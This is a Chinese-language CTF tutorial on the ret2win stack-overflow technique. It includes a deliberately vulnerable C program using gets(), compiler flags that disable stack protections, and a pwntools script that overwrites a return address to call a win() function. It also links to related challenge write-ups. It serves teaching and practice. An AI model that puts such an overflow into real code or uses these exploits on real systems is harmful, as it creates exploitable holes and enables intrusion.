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Ret2win

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基本信息

Ret2win 挑战是 Capture The Flag (CTF) 竞赛中一个受欢迎的类别，特别是在涉及 binary exploitation 的任务中。目标是利用给定二进制文件中的漏洞，执行二进制文件中一个特定的、未被调用的函数，通常命名为 win、flag 等。当这个函数被执行时，通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 return address，以将执行流转向所需的函数。以下是更详细的解释和示例：

C 示例

考虑一个简单的 C 程序，其中存在一个漏洞和一个我们打算调用的 win 函数：

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

要在没有栈保护和禁用 ASLR 的情况下编译此程序，您可以使用以下命令：

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

• -m32: 将程序编译为 32 位二进制文件（这不是必需的，但在 CTF 挑战中很常见）。
• -fno-stack-protector: 禁用对栈溢出的保护。
• -z execstack: 允许在栈上执行代码。
• -no-pie: 禁用位置无关可执行文件，以确保 win 函数的地址不变。
• -o vulnerable: 将输出文件命名为 vulnerable。

使用 Pwntools 的 Python 利用

对于利用，我们将使用 pwntools，这是一个强大的 CTF 框架，用于编写利用脚本。利用脚本将创建一个有效负载，以溢出缓冲区并用 win 函数的地址覆盖返回地址。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

要找到 win 函数的地址，您可以使用 gdb、objdump 或任何其他允许您检查二进制文件的工具。例如，使用 objdump，您可以使用：

objdump -d vulnerable | grep win

该命令将显示 win 函数的汇编代码，包括其起始地址。

Python 脚本发送一个精心构造的消息，当被 vulnerable_function 处理时，会溢出缓冲区并用 win 的地址覆盖栈上的返回地址。当 vulnerable_function 返回时，它不会返回到 main 或退出，而是跳转到 win，并打印消息。

保护措施

• PIE 应禁用，以确保地址在执行之间是可靠的，否则函数存储的地址可能并不总是相同，您需要一些泄漏信息来确定 win 函数加载的位置。在某些情况下，当导致溢出的函数是 read 或类似函数时，您可以进行 部分覆盖 1 或 2 字节，以将返回地址更改为 win 函数。由于 ASLR 的工作原理，最后三个十六进制半字节不会随机化，因此有 1/16 的机会（1 个半字节）获得正确的返回地址。
• 栈金丝雀 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。

其他示例与参考

• https://ir0nstone.gitbook.io/notes/types/stack/ret2win
• https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
• 32位，无 ASLR
• https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
• 64 位，带 ASLR，带有二进制地址泄漏
• https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
• 64 位，无 ASLR
• https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
• 32 位，无 ASLR，双小溢出，第一次溢出栈并增大第二次溢出的大小
• https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
• 32 位，relro，无金丝雀，nx，无 pie，格式字符串覆盖地址 fflush 为 win 函数（ret2win）
• https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
• 32 位，nx，其他无，部分覆盖 EIP（1 字节）以调用 win 函数
• https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
• 32 位，nx，其他无，部分覆盖 EIP（1 字节）以调用 win 函数
• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
• 该程序仅验证数字的最后一个字节以检查输入的大小，因此只要最后一个字节在允许范围内，就可以添加任何大小。然后，输入创建了一个缓冲区溢出，通过 ret2win 被利用。
• https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
• 64 位，relro，无金丝雀，nx，pie。部分覆盖以调用 win 函数（ret2win）
• https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
• arm64，PIE，给出一个 PIE 泄漏，win 函数实际上是两个函数，因此 ROP gadget 调用两个函数
• https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
• ARM64，越界调用 win 函数

ARM64 示例

{{#ref}} ret2win-arm64.md {{#endref}}

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